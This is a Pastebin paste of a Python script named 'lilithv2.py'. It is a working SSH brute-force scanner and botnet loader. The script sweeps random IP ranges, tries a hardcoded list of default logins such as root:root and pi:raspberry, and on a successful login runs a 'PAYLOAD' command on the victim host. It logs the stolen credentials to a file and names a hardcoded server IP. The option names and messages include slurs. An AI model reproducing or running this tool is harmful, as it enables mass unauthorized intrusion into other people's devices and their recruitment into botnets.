Advertisement
LilithsKitty

lilithv2.py

Mar 11th, 2018
1,044
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.90 KB | None | 0 0
  1. # ulimit -n 999999
  2. # python lilithv2.py 1 LUCKY 2 1 (PASSWORD)
  3. # python lilithv2.py 1 LUCKY 2 1 gay (or) fag (or) root (etc..)
  4.  
  5. import threading, paramiko, random, socket, time, sys
  6.  
  7. paramiko.util.log_to_file("/dev/null")
  8.  
  9. server_ip = "185.61.138.88"
  10.  
  11. blacklisted = ["127.0","10.0","192.168"]
  12.  
  13. passwords = ["admin:1234", "root:root", "ubnt:ubnt", "pi:raspberry", "admin:admin", "support:support", "guest:guest", "telnet:telnet", "root:admin", "user:user", "test:test", "vagrant:vagrant"]
  14.  
  15. if sys.argv[4] == 'root':
  16. passwords = ["root:root"]
  17. if sys.argv[4] == 'admin':
  18. passwords = ["admin:1234"]
  19. if sys.argv[4] == 'support':
  20. passwords = ["support:support"]
  21. if sys.argv[4] == 'guest':
  22. passwords = ["guest:guest"]
  23. if sys.argv[4] == 'telnet':
  24. passwords = ["telnet:telnet"]
  25. if sys.argv[4] == 'omg':
  26. passwords = ["admin:admin"]
  27. if sys.argv[4] == 'kms':
  28. passwords = ["root:root", "admin:1234"]
  29. if sys.argv[4] == 'kys':
  30. passwords = ["root:root", "root:admin"]
  31. if sys.argv[4] == 'gay':
  32. passwords = ["root:root", "admin:admin", "root:admin", "admin:1234"]
  33. if sys.argv[4] == 'fag':
  34. passwords = ["root:root", "admin:1234", "root:admin", "user:user", "test:test"]
  35. if sys.argv[4] == 'perlz':
  36. passwords = ["pi:raspberry", "vagrant:vagrant", "ubnt:ubnt"]
  37. if sys.argv[4] == 'all':
  38. passwords = ["pi:raspberry", "vagrant:vagrant", "ubnt:ubnt", "root:root", "admin:1234", "support:support", "guest:guest", "telnet:telnet", "admin:admin", "root:admin", "user:user", "test:test"]
  39.  
  40. if len(sys.argv) < 4:
  41. sys.exit("Usage: python " + sys.argv[0] + " <threads> <start-range> <end-range> <passwords>")
  42.  
  43. print "\x1b[0;31m.____ .__.__ .__ __ .__ "
  44. print "\x1b[0;31m| | |__| | |__|/ |_| |__ "
  45. print "\x1b[0;31m| | | | | | \ __\ | \ "
  46. print "\x1b[0;31m| |___| | |_| || | | Y \ "
  47. print "\x1b[0;31m|_______ \__|____/__||__| |___| /"
  48. print "\x1b[0;31m \/ \/ "
  49.  
  50. def sshscanner(ip):
  51. global passwords
  52. try:
  53. thisipisbad='no'
  54. for badip in blacklisted:
  55. if badip in ip:
  56. thisipisbad='yes'
  57. if thisipisbad=='yes':
  58. sys.exit()
  59. username='root'
  60. password="0"
  61. port = 22
  62. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  63. s.settimeout(3)
  64. s.connect((ip, port))
  65. data = str(s.recv(1024))
  66. if "SSH" in data:
  67. print("\x1b[1;30m[ - ] Lilith im not cumming -> " + ip + "\x1b[37m")
  68. elif "ssh" in data:
  69. print("\x1b[1;30m[ - ] Lilith im not cumming -> " + ip + "\x1b[37m")
  70. else:
  71. sys.exit()
  72. s.close()
  73. ssh = paramiko.SSHClient()
  74. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  75. dobreak=False
  76. for passwd in passwords:
  77. if ":n/a" in passwd:
  78. password=""
  79. else:
  80. password=passwd.split(":")[1]
  81. if "n/a:" in passwd:
  82. username=""
  83. else:
  84. username=passwd.split(":")[0]
  85. try:
  86. ssh.connect(ip, port = port, username=username, password=password, timeout=3)
  87. break
  88. except:
  89. pass
  90. badserver=True
  91. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  92. output = stdout.read()
  93. if "inet addr" in output:
  94. badserver=False
  95. websites = [ ]
  96. if badserver == False:
  97. print("\x1b[0;36m[ + ] Lilith im coming! " + ip + ":" + username + ":" + password + "\x1b[37m")
  98. ssh.exec_command('PAYLOAD')
  99. vulns = open("online.txt", "a").write(username + ":" + password + ":" + ip + "\n")
  100. time.sleep(12)
  101. ssh.close()
  102. except Exception as e:
  103. pass
  104.  
  105.  
  106. if sys.argv[2] == "LUCKY":
  107. ranges = ["190.236.0.0/190.236.255.255", "212.194.0.0/212.195.255.255", "190.13.0.0/190.13.255.255", "190.40.0.0/190.43.255.255", "190.96.0.0/190.97.255.255", "190.232.0.0/190.239.255.255", "190.184.0.0/190.184.255.255", "181.174.0.0/181.174.255.255", "186.183.0.0/186.183.255.255", "59.177.0.0/59.178.255.255", "59.180.0.0/59.180.255.255", "59.182.0.0/59.184.255.255", "181.64.0.0/181.67.255.255", "200.106.0.0/200.106.255.255", "200.121.0.0/200.121.255.255", "201.230.0.0/201.230.255.255", "201.240.0.0/201.240.255.255", "101.109.0.0/101.109.255.255", "188.16.0.0/188.16.255.255", "188.17.0.0/188.17.255.255", "125.27.0.0/125.27.255.255", "101.109.0.0/101.109.255.255", "113.53.0.0/113.53.255.255", "118.173.0.0/118.173.255.255", "188.18.0.0/188.18.255.255", "188.19.0.0/188.19.255.255", "125.25.0.0/125.25.255.255", "125.26.0.0/125.26.255.255", "182.52.0.0/182.52.255.255", "125.24.0.0/125.24.255.255", "180.180.0.0/180.180.255.255", "179.105.0.0/179.105.255.255", "179.152.0.0/179.152.255.255", "189.29.0.0/189.29.255.255", "189.32.0.0/189.32.255.255", "189.33.0.0/189.33.255.255", "189.34.0.0/189.34.255.255", "189.35.0.0/189.35.255.255", "189.39.0.0/189.39.255.255", "189.4.0.0/189.4.255.255", "189.54.0.0/189.54.255.255", "189.55.0.0/189.55.255.255", "189.60.0.0/189.60.255.255", "189.61.0.0/189.61.255.255", "189.62.0.0/189.62.255.255", "189.63.0.0/189.63.255.255", "189.126.0.0/189.125", "103.20.0.0/103.20.255.255", "103.30.0.0/103.30.255.255", "103.47.0.0/103.47.255.255", "103.57.0.0/103.57.255.255", "12.188.0.0/12.188.255.255", "12.34.0.0/12.34.255.255", "122.3.0.0/122.3.255.255", "210.213.0.0/210.213.255.255", "59.69.0.0/59.69.255.255", "122.52.0.0/122.52.255.255", "122.54.0.0/122.54.255.255", "119.93.0.0/119.93.255.255", "124.105.0.0/124.205.255.255", "125.104.0.0/125.104.255.255", "119.92.0.0/119.92.255.255", "119.91.0.0/119.91.255.255", "49.144.0.0/49.144.255.255"]
  108. randomrange = random.choice(ranges)
  109. startrng = randomrange.split("/")[0]
  110. endrng = randomrange.split("/")[1]
  111.  
  112. if sys.argv[2] != "LUCKY":
  113. a = int(sys.argv[2].split(".")[0])
  114. b = int(sys.argv[2].split(".")[1])
  115. c = int(sys.argv[2].split(".")[2])
  116. d = int(sys.argv[2].split(".")[3])
  117. else:
  118. a = int(startrng.split(".")[0])
  119. b = int(startrng.split(".")[1])
  120. c = int(startrng.split(".")[2])
  121. d = int(startrng.split(".")[3])
  122. x = 0
  123.  
  124. while(True):
  125. try:
  126.  
  127. if sys.argv[2] != "LUCKY":
  128. endaddr = sys.argv[3]
  129. else:
  130. endaddr = endrng
  131.  
  132. d += 1
  133.  
  134. ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)
  135.  
  136. if endaddr == (ipaddr or str(a) + "." + str(b) + "."+str(c)+"."+str(d-1)):
  137. if sys.argv[2] == "LUCKY":
  138. randomrange = random.choice(ranges)
  139. startrng = randomrange.split("/")[0]
  140. endrng = randomrange.split("/")[1]
  141. a = int(startrng.split(".")[0])
  142. b = int(startrng.split(".")[1])
  143. c = int(startrng.split(".")[2])
  144. d = int(startrng.split(".")[3])
  145. else:
  146. break
  147.  
  148. if d > 255:
  149. c += 1
  150. d = 0
  151.  
  152. if c > 255:
  153. b += 1
  154. c = 0
  155.  
  156. if b > 255:
  157. a += 1
  158. b = 0
  159.  
  160. ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)
  161.  
  162. if ipaddr == endaddr:
  163. if sys.argv[2] == "LUCKY":
  164. randomrange = random.choice(ranges)
  165. startrng = randomrange.split("/")[0]
  166. endrng = randomrange.split("/")[1]
  167. a = int(startrng.split(".")[0])
  168. b = int(startrng.split(".")[1])
  169. c = int(startrng.split(".")[2])
  170. d = int(startrng.split(".")[3])
  171. else:
  172. break
  173.  
  174. if x > 500:
  175. time.sleep(1)
  176. x = 0
  177.  
  178. t = threading.Thread(target=sshscanner, args=(ipaddr,))
  179. t.start()
  180.  
  181. except Exception as e:
  182. pass
  183.  
  184. print "\x1b[37mDone\x1b[37m"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement